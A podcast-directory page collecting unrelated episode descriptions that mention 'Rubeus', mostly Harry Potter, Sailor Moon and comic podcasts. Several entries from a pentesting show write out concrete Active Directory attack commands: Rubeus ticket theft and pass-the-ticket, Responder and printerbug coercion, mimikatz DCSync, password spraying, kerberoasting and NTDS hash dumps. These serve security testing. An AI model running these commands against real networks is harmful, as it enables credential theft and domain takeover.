Podcasts about rubeus

Help MuggleCast grow! Become a MuggleCast Member and get great benefits like Bonus MuggleCast! Patreon.com/MuggleCast  Grab official merch! MuggleCastMerch.com Pick up overstock merch from years past! MuggleMillennial.Etsy.com On this week's episode, grab your tissues because we're discussing Harry Potter and the Order of the Phoenix, Chapter 21: The Eye of the Snake. And speaking of Hagrid-centric chapters, it looks like the Harry Potter TV Show has found its Rubeus!  Harry Potter TV Show News: Nick Frost is reportedly up for the role of Hagrid! We discuss if he can pull off this pivotal role and what we know him from. Chapter by Chapter resumes with Order of the Phoenix Chapter 21, The Eye of the Snake (gulp). Despite Hermione's best efforts, Hagrid decides to teach a class on Thestrals. We break down the pro's and con's of this decision. If most of the class can't see a creature, does that make it a bad lesson? Not necessarily! But Hagrid could've designed this class better. What did Hagrid's 'shrieking cry' sound like? Shouldn't there be some magic that allows those who haven't seen death to be able to see Thestrals? At least for research purposes it would make sense! Speaking of seeing death, is it strange that Umbridge herself can't see Thestrals?  Should Dumbledore have warned Hagrid about what Umbridge has been up to at the school? Or DID they talk once Hagrid returned? The second half of this chapter has a big Life Moment for Harry: His first kiss! Was it Cho or Harry who made the first move? And how should Harry have reacted when she was crying? We recount our First Kiss stories, and this week's Lynx Line asks Patrons if they had a bad first kiss themselves! Quizzitch: Capable of reaching a length of roughly 19 feet and weighing around 28 lbs, what is the largest known venomous snake species in the world? Visit MuggleCast.com for transcripts, social media links, our full episode archive, our favorite episodes, and to contact us! Learn more about your ad choices. Visit megaphone.fm/adchoices

In this episode, Sam, Mel and TC take a look into the relationship between Aberforth Dumbledore and Rubeus Hagrid. How did they meet? When did Hagrid find out that the barkeep at the Hogs Head was Albus' brother? How much alcohol can Hagrid drink? Listen and decide!Don't forget to visit our social medias to answer this episode's Show Host Question: “What themed Christmas Tree do you think the following locations would have: Leaky Cauldron, Potter Family Tree in 1980, Hogs Head Pub, and Honeydukes?”  *** Spoilers, Adult Language, Adult Themes Music note: All music are excerpts of the Pottership Shanty (Copyright: Darwin Ray and the Pottership Podcast.)  Follow us on Facebook and Instagram! Subscribe to the show on Apple Podcast, Spotify, Stitcher, or iHeart Radio podcasts! Or send us a message at PottershipPodcast@gmail.com

Oooooo, giggidy! Today is (once again) my favorite tale of pentest pwnage. I learned about a feature of PowerUpSQL that helped me find a “hidden” SQL account, and that account ended up being the key to the entire pentest!  I wonder how many hidden SQL accounts I've missed on past pentests….SIGH! Check out the awesome BloodHound gang thread about this here. Also, can't get Rubeus monitor mode to capture TGTs to the registry?  Try output to file instead: rubeus monitor /interval:5 /nowrap /runfor:60 /consoleoutfile:c:userspublicsome-innocent-looking-file.log In the tangent department, I talk about a personal music project I'm resurrecting to help my community.

This was my favorite pentest tale of pwnage to date!  There's a lot to cover in this episode so I'm going to try and bullet out the TLDR version here: Sprinkled farmer files around the environment Found high-priv boxes with WebClient enabled Added “ghost” machine to the Active Directory (we'll call it GHOSTY) RBCD attack to be able to impersonate a domain admin using the CIFS/SMB service against the victim system where some higher-priv users were sitting Use net.py to add myself to local admin on the victim host Find a vulnerable service to hijack and have run an evil, TGT-gathering Rubeus.exe – found that Credential Guard was cramping my style! Pulled the TGT from a host not protected with Credential Guard Figured out the stolen user's account has some “write” privileges to a domain controller Use rbcd.py to delegate from GHOSTY and to the domain controller Request a TGT for GHOSTY Use getST.py to impersonate CIFS using a domain admin account on the domain controller (important thing here was to specify the DC by its FQDN, not just hostname) Final move: use the domain admin ccache file to leverage net.py and add myself to the Active Directory Administrators group

Hi friends, today's a tale full of test tips and tools to help you in your adventures in pentesting! SCCM Exploitation SCCM Exploitation: The First Cred Is the Deepest II w/ Gabriel Prud'homme – fantastic resource for learning all about attacking SCCM – starting from a perspective of zero creds CMLoot – find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares Snaffler – finds all the interesting SMB shares and juicy file contents Efflanrs – takes the raw Snaffler log and turns it into an interactive Web app! RubeusToCcache – a small tool to convert Base64-encoded .kirbi tickets from Rubeus into .ccache files for Impacket

Chapter 14 - Norbert The Norwegian Ridgeback“But there aren't wild dragons in Britain?” said Harry. “Of course there are,” said Ron. “Common Welsh Green and Hebridean Blacks. THe Ministry of Magic has a job hushing them up, I can tell you. Our lot have to keep putting spells on Muggles who've spotted them, to make them forget.”Q1 - Now that you'd know but do you think the Ministry of Magic has ever put a memory spell on you?Q2 - On your first read, did you think Snape was the one who was going after the stone?Q3 - How much brandy and chicken blood do you think Hagrid went through to feed Norbert?“Wonder what it's like to have a peaceful life?” Ron sighed.Harry suddenly turned to Ron. “Charlie,” he said. “You're losing it, too,” said Ron. “I'm Ron, remember?”Chapter 15 - The Forbidden ForestIt was the first time Hermione has ever failed to answer a teacher's question. She was staring at her slippers, as still as a statue.Q1 - Do you really think McGonagall has never heard of four students out of bed before?Q2 - At this point in the book were you convinced Snape was the main assailant to Quirrel? Would you have bet 12 sorcerer's stones?Q3 - Is a punishment of going in the forbidden forest too extreme for any students?“I want fang,” said Malfoy quickly, looking at Fang's long teeth. “All right, but I warn yeh, he's a coward,” said Hagrid.Q4 - Is it weird that Hagrid goes by Hagrid and not Ruebeus?“Always the innocent are the first victims,” he said, “So it has been for ages past, so it is now.”Yet again, Ronan took a while to answer. At last, he said, “The Forest hides many secrets.”Q5 - How much do you think Centaurs know? “The planets have been read wrongly before now, even by centaurs. I hope this is one of those times.”Chapter 16 - Through the TrapdoorQ1 - Do you think you could make a pineapple tapdance across the classroom?“I think it's a warning…it means danger's coming.”“Neville will play quidditch for England before Hagrid lets Dumbledore down.”Q2 - What do you think Dumbledore does on a day to day basis?“You can't!” said Hermione. “After what McGonagall and Snape have said? You'll be expelled!” “SO WHAT?” Harry shouted. “Don't you understand? If Snape gets hold of the Stone, Voldemort's coming back! “I'll use the Invisibility Cloak,” said Harry. “It's just lucky I got it back.” “But will it cover all three of us?” said Ron.“I won't let you do it,” he said, hurrying to stand in front of the portrait hole. “I'll — I'll fight you.” He took a step forward and Neville dropped Trevor the toad, who leapt out of sight. “Go on then, try and hit me!” said Neville, raising his fists, “I'm ready!”Q3 - What are your thoughts on Neville?“HAVE YOU GONE MAD?” Ron bellowed. “ARE YOU A WITCH OR NOT?”Q4 - What do you think was the level of difficulty for that chess game?“But Harry — What if You-Know-Who's with him?” “Well — I was lucky once, wasn't I?” said Harry, pointing at his scar. “I might get lucky again.” Hermione's lip trembled and she suddenly dashed at Harry and threw her arms around him. “Hermione!” “Harry — you're a great wizard, you know.” “I'm not as good as you,” said Harry, very embarrassed, as she let go of him. “Harry took a deep breath and picked up the smallest bottle. He turned to face the black flames. “Here I come,” he said and he drained the little bottle in one gulp.Q5 - Which was your favorite test?Q6 - If you could add a test to the group, what would you do?Chapter 17 - The Man With Two FacesQ1 - When you first read this, did you expect that it was going to be Quirrell?“He was at Hogwarts with your father, didn't you know? They loathed each other. But he never wanted you dead”“There is no good and evil, there is only power, and those too weak to seek it.”Q2 - What do you think Voldemort is at this moment?“How touching…” it hissed. “I always value bravery…Yes, boy, your parents were brave…I linked your father first and he put up a courageous fight…but your mother needn't have died…she was trying to protect you…Now give me the stone, unless you want her to have died in vain.”And other voices, maybe in Harry's own head, crying, “Harry! Harry!”“What happened down in the dungeons between you and Professor Quirrel is a complete secret, so, naturally, the whole school knows.”Q3 - How much elixir do you really think the Flamels have stored?Q4 - Thoughts on Dumbledore?“To one as young as you, I'm sure it seems incredible, but to Nicholas and Perenelle, it really is like going to bed after a very, very long day. After all, to the well-organized mind, death is but the next great adventure.”Q5 - What do you think Dumbledore means when he says the above quote?“The truth,” Dumbledore sighed. “It is a beautiful and terrible thing, and should therefore be treated with great caution.”“Your mother died to save you. If there is one thing Voldemort cannot understand, it is love. He didn't realize that love as powerful as your mother's for you leaves it's own mark. Not a scar, no visible sign…to have been loved so deeply, even though the person who loved us is gone, will give us some protection for ever. It is in your very skin.”Q6 - Do you think Dumbledore meant for Harry to go after Voldemort?“Sent owls off ter all ter parents old school friends, askin fer photos…knew yeh didn't have any…d'yeh like it?” Harry couldn't speak, but Hagrid understood.Q7 - How rigged is the point system?“It takes a great deal of bravery to stand up to our enemies, but just as much to stand up to our friends. I therefore award ten points to Mr Neville Longbottom.”

"Because when it comes to making music, there is nothing stopping you from just starting. And any age is really a good age to start. So the only thing that's stopping you is a wall of "oh you need to learn how to write the songs or write the lyrics." But everything is skill and every skill can be learned." -Andri of Rubeus and the Hagrids Places you can review WZRD for our 100 for 100: [Spotify] [how-to for Apple reviews] [Audible] [Podchaser] [GoodPods] The HP Fans Against Transphobia petition: https://actionnetwork.org/petitions/nohptv See the transcript at https://wzrdradiopod.com/ Join the magical Patreon at https://www.patreon.com/WZRDRadioPod

Today's tale of pentest covers: Farming for credentials (don't forget to understand trusted zones to make this happen properly!) Snaffling for juice file shares Stealing Kerberos tickets with Rubeus

Esta es la historia de Rubeus, que vive en las favelas de Río de Janeiro en Brasil, donde seguiremos su historia rodeado de intriga, dolor, hechicería, violencia, lealtad, corrupción, armas, drogas y más elementos que tendrán que descubrir. Este cómic tiene de todo, y todo lo que tiene está muy bien hecho, escribe la escritora brasileña Louise García, y en la parte visual el francés Corentin Rouge, ambos excelentes artistas que dan cátedra de cómo contar una muy buena historia. Comentan Mauricio Rodríguez, Abraham Martínez Cuervoscuro y Miguel Ángel Hernández.

Rob Tinkler is a Canadian actor and writer. Best known for voicing Max in The Adventures of Sam & Max: Freelance Police, Hanamichi Sakuragi in Slam Dunk, Rubeus in the DIC dub of Sailor Moon R, and Sparky in My Little Pony: Make Your Mark. In this episode Rob and I discuss his career, Sam & Max, the dubbing process, narrative conventions, creature voices, avoiding vocal damage, the differences between dubbing and prelay, and our mutual love of script reading. Rob's website and social media: https://robtinkler.com/ https://twitter.com/rtoons https://www.instagram.com/herocomplex.ca

Welcome to Harry Potter Theory. Today, we're going to be discussing Hogwarts' loveable gamekeeper Hagrid- unpacking his early years and unveiling tragedy after tragedy. What do we really know about Rubeus Hagrid? The towering half-giant seemed to be a simple, content groundskeeper. But when we look back over the years, Hagrid's life was filled with tragedy and all sorts of challenges. Starting at the very beginning, today we're going to unpack Hagrid's life- taking a look at the highs, lows and everything in between. But before we get too deep in to the in-universe aspects of Hagrid's life, I thought I'd first enlighten you with a few little known factoids about the inspiration behind Hagrid's character. The list of Harry Potter characters inspired by REAL people is lengthy- including Severus Snape, Harry Potter, Ron Weasley, and even Gilderoy Lockhart. So it shouldn't come as a surprise to you that, just like these other characters, Hagrid too was based on a real person- a biker to be precise.  In ‘Harry Potter: Page to Screen: The Complete Filmmaking Journey', Robbie Coltrane reveals that Hagrid's character was modelled on a real biker. In this interview he goes on to explain that J.K. Rowling provided him with the insight that Hagrid was ‘based on a Hell's Angel she knew in the West Country'. ‘He was just huge and terrifying,' Coltrane recalled Rowling telling him. ‘And then he would sit down and talk about his garden and how his petunias had been very bad that year.' Rowling also supplied some interesting information pertaining to Hagrid's NAME- revealing that, just like many other characters in the story, his name was very carefully chosen.  “Hagrid is a big drinker who's regularly seen by Harry to indulge in visits to the pub and even getting inebriated. His name alludes to his personality trait because "Rubeus" is related to the word "ruddy," which means reddish and is apparent on someone who drinks a lot.” And with those interesting factoids out of the way, let's dive in to the life of Rubeus Hagrid. Learn more about your ad choices. Visit megaphone.fm/adchoices

Hey friends! Welcome back to the House of Wind Book Club where this week where Hybern's plans for the Cauldron are revealed, we get sweet revenge on Ianthe and Thing One/Thing Two, and Feyre and Lucien yeet their way out of the Spring Court. As always, thank you for being a part of our book club! Please be sure to rate and review the pod!Patreon: patreon.com/HouseofWindBookClubEmail us your theories or questions: houseofwindpodcast@gmail.comTheme music: Age of Mythology by Feysilian Studios --- Support this podcast: https://podcasters.spotify.com/pod/show/house-of-wind-book-club3/support

Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood): Change the Responder.conf file like so: ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788 Run Responder with --disable-ess flag sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess Use printerbug to coax authentication from a domain controller: sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX Convert hash to make it easier to crack! sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds! Now you can do a Rubeus asktgt with the DC hash: rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!! rubeus.exe ptt /ticket:TICKET GOES HERE Use mimikatz to dump all hashes! mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

Today we talk about Simple Ways to Test Your SIEM. Feel free to check out the YouTube version of this presentation, as well as our interview with Matt from Blumira for even more context, but here are the essential tools and commands covered: Port scanning nmap 10.0.7.0/24 - basic nmap scan massscan -p1-65535,U:1-65535 --rate=1000 10.0.7.0/24 -v - scan all 65k+ TCP and UDP ports! Password spraying Rubeus.exe spray /password:Winter2022! /outfile:pwned.txt - try to log into all AD accounts one time with Winter2022! as the password, and save any pwned creds to pwned.txt Kerberoasting and ASREPRoasting rubeus.exe kerberoast /simple rubeus asreproast /nowrap Key group membership changes net group "GROUP NAME" user-to-add-to-a-group /add Dump Active Directory hashes cme smb IP.OF.THE.DOMAINCONTROLLER -u user -p password --ntds --enabled ntdsutil "ac i ntds" "ifm" "create full c:dc-backup" q q SMB share hunting Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:output - SMB enumeration using PowerHuntShares

Nos adentramos en las profundidades de Brazil con Río, un trabajo de cómic europeo de Louise García y Courentin Rougue donde conoceremos el retrato más crudo de las favelas de Rio de Janeiro. A través de 4 álbumes conoceremos la vida de los hermanos Rubeus y Mina, dos desafortunados niños que se verán obligados a sobrevivir a las calles de Río y cuyas vidas estarán malditas a través de diferentes rituales de Vudú. Sin duda una de las mayores sorpresas del año, donde conoceremos la ciudad a través de los ojos de sus autores.

CAPÍTULO #319… Esta semana nos ponemos nuestras mejores galas de carnaval y nos mudamos a Brazil para hablar de Rio, un trabajo de cómic europeo que nos traen Louise García y Corentin Rouge y nos llevan a la parte más noir de las favelas de Rio de Janeiro. Además comentaremos las últimas noticias de la actualidad del mundo del cómic, varios galardones y el avance editorial de Planeta. Y como no puede ser de otra forma, reseñaremos los mejores lanzamientos de novedades como Los Poderosos Vengadores, El Puerto Prohibido, El capitán América de Steranko, Tolkien, Old Boy y muchísimo más.Gracias por estar al otro lado agentes.¡Nos oímos! NOTICIAS [00:12:48] Dolmen publicará el Guerrero del Antifaz Marvel ficha a Harrison Ford como Thunderbolt Ross Nuevos estrenos de Anime Nuevas licencias de Moztros Dc renueva su línea de Superman Salón del cómic de Granada Novedades de Planeta Comic Noviembre Paco Sordo gana el premio nacional del cómic 2022 Ganadores Harvey 2022 NOVEDADES Y RELECTURAS [00:47:31] Poderosos Vengadores Estela Plateada Dan Slott El número 73304-23-4153-6-96-8 Dahmer Monsieur Vadim El Corazón de Hojalata El Puerto Prohibido Los fantasmas de mimi Calavera Lunar Conan el Cimmerio: Más allá del Río Negro Capitán América de Steranko Batman Superman: Los Mejores del mundo Venezuela: Crónicas de Angel Sastre El Nuevo Spiderman Grandes Tesoros Marvel Mitos Tolkien: Iluminar las Tinieblas Star Wars La guerra de los cazarrecompensas: Companion & Crimson Reign Old Boy ANÁLISIS: RÍO [03:30:24] Nos adentramos en las profundidades de Brazil con Río, un trabajo de cómic europeo de Louise García y Courentin Rougue donde conoceremos el retrato más crudo de las favelas de Rio de Janeiro. A través de 4 álbumes conoceremos la vida de los hermanos Rubeus y Mina, dos desafortunados niños que se verán obligados a sobrevivir a las calles de Río y cuyas vidas estarán malditas a través de diferentes rituales de Vudú. Sin duda una de las mayores sorpresas del año, donde conoceremos la ciudad a través de los ojos de sus autores. CORREO DEL AGENTE [05:34:10] Leemos todos vuestros mensajes dejados en las redes y nuestra sección de la voz de los Agentes de Hydra, ¡Habla pueblo Habla! ¡Muchas gracias por escucharnos y todo vuestro apoyo y participación! Tomos y grapas es un medio de comunicación transmedia, disfruta de nuestros contenidos también en nuestra web, YouTube y redes sociales. VISITA TAMBIÉN NUESTRA LIBRERÍA En la Calle Alcalá 211 o nuestra TIENDA ONLINE con el mejor servicio y atención 👉👉 tiendatomosygrapas.com

Chapter 15 - The Forbidden ForestIt was the first time Hermione has ever failed to answer a teacher's question. She was staring at her slippers, as still as a statue.Q1 - Do you really think McGonagall has never heard of four students out of bed before?Q2 - At this point in the book were you convinced Snape was the main assailant to Quirrel? Would you have bet 12 sorcerer's stones?Q3 - Is the punishment of going in the forbidden forest too extreme for any students?“I want fang,” said Malfoy quickly, looking at Fang's long teeth. “All right, but I warn yeh, he's a coward,” said Hagrid.Q4 - Is it weird that Hagrid goes by Hagrid and not Rubeus?“Always the innocent are the first victims,” he said, “So it has been for ages past, so it is now.”Yet again, Ronan took a while to answer. At last, he said, “The Forest hides many secrets.”Q5 - How much do you think Centaurs know? “The planets have been read wrongly before now, even by centaurs. I hope this is one of those times.”Chapter 16 - Through the TrapdoorQ1 - Do you think you could make a pineapple tapdance across the classroom?“I think it's a warning…it means danger's coming.”“Neville will play quidditch for England before Hagrid lets Dumbledore down.”Q2 - What do you think Dumbledore does on a day-to-day basis?“You can't!” said Hermione. “After what McGonagall and Snape have said? You'll be expelled!” “SO WHAT?” Harry shouted. “Don't you understand? If Snape gets hold of the Stone, Voldemort's coming back! “I'll use the Invisibility Cloak,” said Harry. “It's just lucky I got it back.” “But will it cover all three of us?” said Ron.“I won't let you do it,” he said, hurrying to stand in front of the portrait hole. “I'll — I'll fight you.” He took a step forward and Neville dropped Trevor the toad, who leapt out of sight. “Go on then, try and hit me!” said Neville, raising his fists, “I'm ready!”Q3 - What are your thoughts on Neville?“HAVE YOU GONE MAD?” Ron bellowed. “ARE YOU A WITCH OR NOT?”Q4 - What do you think was the level of difficulty for that chess game?“But Harry — What if You-Know-Who's with him?” “Well — I was lucky once, wasn't I?” said Harry, pointing at his scar. “I might get lucky again.” Hermione's lip trembled and she suddenly dashed at Harry and threw her arms around him. “Hermione!” “Harry — you're a great wizard, you know.” “I'm not as good as you,” said Harry, very embarrassed, as she let go of him. “Harry took a deep breath and picked up the smallest bottle. He turned to face the black flames. “Here I come,” he said and he drained the little bottle in one gulp.Q5 - Which was your favorite test?Q6 - If you could add a test to the group, what would you do?Chapter 17 - The Man With Two FacesQ1 - When you first read this, did you expect that it was going to be Quirrell?“He was at Hogwarts with your father, didn't you know? They loathed each other. But he never wanted you dead”“There is no good and evil, there is only power, and those too weak to seek it.”Q2 - What do you think Voldemort is at this moment?“How touching…” it hissed. “I always value bravery…Yes, boy, your parents were brave…I linked your father first and he put up a courageous fight…but your mother needn't have died…she was trying to protect you…Now give me the stone, unless you want her to have died in vain.”And other voices, maybe in Harry's own head, crying, “Harry! Harry!”“What happened down in the dungeons between you and Professor Quirrel is a complete secret, so, naturally, the whole school knows.”Q3 - How much elixir do you really think the Flamels have stored?Q4 - Thoughts on Dumbledore?“To one as young as you, I'm sure it seems incredible, but to Nicholas and Perenelle, it really is like going to bed after a very, very long day. After all, to the well-organized mind, death is but the next great adventure.”Q5 - What do you think Dumbledore means when he says the above quote?“The truth,” Dumbledore sighed. “It is a beautiful and terrible thing, and should therefore be treated with great caution.”“Your mother died to save you. If there is one thing Voldemort cannot understand, it is love. He didn't realize that love as powerful as your mother's for you leaves it's own mark. Not a scar, no visible sign…to have been loved so deeply, even though the person who loved us is gone, will give us some protection for ever. It is in your very skin.”Q6 - Do you think Dumbledore meant for Harry to go after Voldemort?“Sent owls off ter all ter parents old school friends, askin fer photos…knew yeh didn't have any…d'yeh like it?” Harry couldn't speak, but Hagrid understood.Q7 - How rigged is the point system?“It takes a great deal of bravery to stand up to our enemies, but just as much to stand up to our friends. I therefore award ten points to Mr Neville Longbottom.”

Episod Join Eisha and Kim as they discuss the portrayal of the Black Moon clan in both the manga and original anime of Sailor Moon. We talk about how the Ayakashi sisters got all the limelight and screen time, how Demando basically wasn't a player in the anime, the tragedy of not having more Esmeraude, and how Rubeus is THE WORST. Please rate and review us wherever you find us or... in the name of the moon, we will punish you! Comments, questions, suggestions? Find us on Twitter @OshiokiYoPod or e-mail us at oshiokiyothepodcast@gmail.com Art thanks to Barbra Daly: https://brbdaly.crevado.com

In this episode, a student gets a rather unusual pet at his school of magic. Sit back, relax, enjoy this short story, and thanks for listening! Written and Narrated by Zack Miller. Follow us on Twitter @The_MNS_Podcast, Instagram @midnight_slumber_podcast, our YouTube Channel - Midnight Slumber, and on Facebook – Midnight Slumber.

Welcome to another fun tale of pentest pwnage! This one isn't a telling of one single pentest, but a collection of helpful tips and tricks I've been using on a bunch of different tests lately. These tips include: I'm seeing nmap scans get flagged a bit more from managed SOC services. Maybe a "quieter" nmap scan will help get enough ports to do a WitnessMe run, but still fly under the logging/alerting radar? Something like: nmap -p80,443,8000,8080 subnet.i.wanna.scan/24 -oA outputfile Using mitm6 in "sniper" mode by targeting just one host with: mitm6 victim-I-want-to-get-juicy-info-from -d victim.domain --ignore-nofqnd Using secretsdump to target a single host: secretsdump.py -target-ip 1.2.3.4 localadmin:@1.2.3.4 -hashes THIS-IS-WHERE-THE:SAM-HASHES-GO. Note the colon after localadmin - it's intentional, NOT an error! Rubeus makes password spraying easy-peasy! Rubeus.exe spray /password:Winter2022 /outfile:output.txt. Get some hits from that effort? Then spray the good password against ALL domain accounts and you might get even more gold! LDAPs relaying not working? Make sure it's config'd right: nmap -p636 -sV -iL txt-file-with-dcs-in-it

Happy Feast of St Blaise! Two years later, in the wake of the Great Sick, we now slouch towards Bethlehem once again. Brought to you by the Feast of Saint Blaise, the Demon Syrach/Exu Calunga, the goodly tree Birch, the mineral Gold, the geomantic figure of Rubeus (and a splash of Ika/Metanla), the magical practice of Divination, the nameless arcana of the Tarot (okay…. THE DEATH CARD), and the often notorious and always beloved John Dee. A wish for continued good health and good spirits to you all! We have had help this episode with our mastering of our soundses- many thanks to Mark Steadman for his editing and level masteries! We're also playing with a theme song- based in the Coptic Golgotha hymn- as well as intercalary soundlets and such. More to come! We're excited to be back, friends!

Episode Notes Content warning: abusive relationships and suicide are mentioned. Join Eisha and Kim as they discuss episodes 69-74 of Sailor Moon R. Listen to us wax poetic about the Ayakashi sisters and how they get character development, the bizarre use of Christian iconography in anime, and how Rubeus is the ACTUAL WORST, even worse than Mamoru. Please rate and review us wherever you find us or... in the name of the moon, we will punish you! Comments, questions, suggestions? Find us on Twitter @OshiokiYoPod or e-mail us at oshiokiyothepodcast@gmail.com Art thanks to Barbra Daly: https://brbdaly.crevado.com

Italian Fae Fairy Stories | Myrtle and The Pueronto [Audio Book]

Sailor Noob is the podcast where a Sailor Moon superfan and a total noob go episode by episode through the original Sailor Moon series!A new chapter opens this week as a new villain descends upon Tokyo! Esmeraude has a plot to cast darkness over the entire Earth, but first she'll have to defeat the Sailor Senshi...and her newfound love of cake!In this episode, we discuss table manners and etiquette in Japan, "Itadakimasu" or "I humbly receive", "Gochisōsama" or "It was a feast", the Seven Lucky Gods, "chirirenge" or ramen spoon, "hashi" or chopsticks, soy sauce etiquette, "Wasabi no kudasai", "Mottainai" or "What a waste", oshibori, and "hiroi-bashi" or chopstick passing. We also talk otter videos, blown allowances, lava lamps and Lazer Floyd, dunking on Rubeus, barf insurance, Homestar Runner, peeping ladies, the Arty heel turn, slurping noodles, male Karens, Daburu Down, Rick Sanchez hair, meringue bras, a little marzipan in your mouth, and so many cake puns!Enchanted dynamite body!We're on iTunes and your listening platform of choice! Please subscribe and give us a rating and a review! Arigato gozaimasu!https://podcasts.apple.com/us/podcast/sailor-noob/id1486204787Become a patron of the show and get access to even more Sailor Noob content!http://www.patreon.com/sailornoobSailor Noob is a part of the Just Enough Trope podcast network. Check out our other shows about your favorite pop culture topics and join our Discord!http://www.twitter.com/noob_sailorhttp://www.justenoughtrope.comhttp://www.instagram.com/noob_sailorhttps://discord.gg/49bzqdpBpxBuy us a Kōhī on Ko-Fi!https://ko-fi.com/E1E01M2UA

Sailor Noob is the podcast where a Sailor Moon superfan and a total noob go episode by episode through the original Sailor Moon series!It's a battle in the sky this week as Sailor Moon faces off against Rubeus inside the UFO! Will she be able to rescuer her friends and protect the Silver Crystal or will Rubeus doom the future of Crystal Tokyo?In this episode, we discuss the death penalty and capital punishment in Japan, Norio Nagayama, the "ley judge system", confession in the Japanese legal system, and "daiyo kangoku". We also talk about Interstellar watches, salad metaphors, charcuterie boards, Savior Mercury, two snaps, Mecha Chibi, Sailor Moon cereal, doing a "Dragon Ball", Crucifixion Juniors, Neo vs. Jesus, focusing grouping convictions, Superman diamonds, Gethseanime, dress sneakers, resuing the cage shot, McConaughey references, and a ton of old man jokes!Now THIS is Podchasing!We're on iTunes and your listening platform of choice! Please subscribe and give us a rating and a review! Arigato gozaimasu!https://podcasts.apple.com/us/podcast/sailor-noob/id1486204787Become a patron of the show and get access to even more Sailor Noob content!http://www.patreon.com/sailornoobSailor Noob is a part of the Just Enough Trope podcast network. Check out our other shows about your favorite pop culture topics and join our Discord!http://www.twitter.com/noob_sailorhttp://www.justenoughtrope.comhttp://www.instagram.com/noob_sailorhttps://discord.gg/zwBQn7xNBuy us a Kōhī on Ko-Fi!https://ko-fi.com/E1E01M2UA

Sailor Noob is the podcast where a Sailor Moon superfan and a total noob go episode by episode through the original Sailor Moon series!Time is running out this week as Rubeus makes his final assault! When Chibi-Usa steals the Silver Crystal, Usagi will have to find a way to rescue her abducted friends . . . without Sailor Moon!In this episode, we discuss extreme sports in Japan, Bungee Japan, the Ryujin Suspension Bridge, Banzai skydiving, canyoning, flyboarding, Bo-taoshi or pole toppling, "sports days", "extreme" and "dark" tourism, konjac, karashi, and oden. We also talk about 100% pure adrenaline, hot cats, Joker colors, the Usagi support group, "kid" minus the "k", dropping an evil pin, a full tank of sass, earning your fan, pole creep, Cram School Time Is Here, the never-ending soup, the new Jadeite, and the debut of Tuxedo Hand!RIP Kentaro MiuraWe're on iTunes and your listening platform of choice! Please subscribe and give us a rating and a review! Arigato gozaimasu!https://podcasts.apple.com/us/podcast/sailor-noob/id1486204787Become a patron of the show and get access to even more Sailor Noob content!http://www.patreon.com/sailornoobSailor Noob is a part of the Just Enough Trope podcast network. Check out our other shows about your favorite pop culture topics and join our Discord!http://www.twitter.com/noob_sailorhttp://www.justenoughtrope.comhttp://www.instagram.com/noob_sailorhttps://discord.gg/zwBQn7xNBuy us a Kōhī on Ko-Fi!https://ko-fi.com/E1E01M2UA

Sailor Noob is the podcast where a Sailor Moon superfan and a total noob go episode by episode through the original Sailor Moon series!This week, it's the final showdown between the Sailor Scout and the Ayakashi Sisters! Will Usagi and friends be able to save Koan and Berthier or will Petz and Calaveras destroy them...and the entire world?In this episode, we discuss Japanese sweet potatoes or satsumaimo, yaki imo trucks, yam roasting parties, rangaku or "Dutch learning", Aoki Konyo, momijigari or "red leaf hunting", and imodera/imo jinja. We also talk about Usagi's terrifying mouth, "El Chanceo Ultimo", stomach trumpets, spamming Dark Thunder, DC lasers, dimensional crevices, human Palm Pilots, Proustian potatoes, hyperreal lattes, waka waka poetry, swimming in sass, depressingly good reviews, and NO FARTING TALK!So far, SO GOOD!We're on iTunes and your listening platform of choice! Please subscribe and give us a rating and a review! Arigato gozaimasu!https://podcasts.apple.com/us/podcast/sailor-noob/id1486204787Become a patron of the show and get access to even more Sailor Noob content!http://www.patreon.com/sailornoobSailor Noob is a part of the Just Enough Trope podcast network. Check out our other shows about your favorite pop culture topics and join our Discord!http://www.twitter.com/noob_sailorhttp://www.justenoughtrope.comhttp://www.instagram.com/noob_sailorhttps://discord.gg/MYg6YN7vBuy us a Kōhī on Ko-Fi!https://ko-fi.com/E1E01M2UA

  Bonjour et bienvenue, si vous aimez les histoires et les bijoux vous êtes au bon endroit. Aujourd'hui c'est l'épisode 70 du podcast, un anniversaire ! Alors je vous ai préparé une histoire de gemmes orange en coucher de soleil que je vous propose d'écouter comme une belle histoire du soir, une histoire de bijou comme un bisou. Il était une fois l'orange joaillier Je ne sais pas vous, mais ma semaine a été compliquée alors j'avais besoin d'une pincée de vitamine, un petit coup de pep's comme une potion magique une lampée de soleil liquide. J'ai donc décidé de vous parler du Orange, la couleur tonique des œufs d'oursin et des flammes, de la fleur du souci et de la mimolette, des carottes et des poissons clowns. Le mot « orange » viendrait directement de l'orange le fruit. Alors on le repère au XIe siècle dans l'arabe, puis évidemment il arrive en Espagne à la suite du négoce et des guerres mais il n'apparaît en français qu'au XVIe siècle.  Après tout ce fruit a été longtemps un luxe, ce qu'on a aujourd'hui oublié et je me souviens de mon arrière grand-mère qui me disait qu'elle recevait une orange comme cadeau à Noël. Puisqu'on en est au mot n'oubliez pas que c'est un adjectif invariable et si on dit des pierres précieuses orange on ne mets pas de « s » à la fin, alors que si on parle des feux orangés d'une spessartite on mettra un « s ». Et la racine de « orange » vient naturellement du mot or. Si ce mot apparait tardivement dans notre vocabulaire c'est aussi parce qu'il a été longtemps difficile à produire. Bien sûr tout le monde sait que le « orange » vient du mélange du rouge et du jaune. Mais en fait la nature des composants et la conservation du colorant ont longtemps posé problème. Dans l'Antiquité on utilise le réalgar qui est rouge avec l'orpiment qui est jaune. Le souci c'est que ce sont 2 sulfures d'arsenic, naturels certes mais super toxiques et qui en plus réagissaient mal avec les autres couleurs et les empêchaient de sécher. Au Moyen Age on essaie le minium de plomb mais il 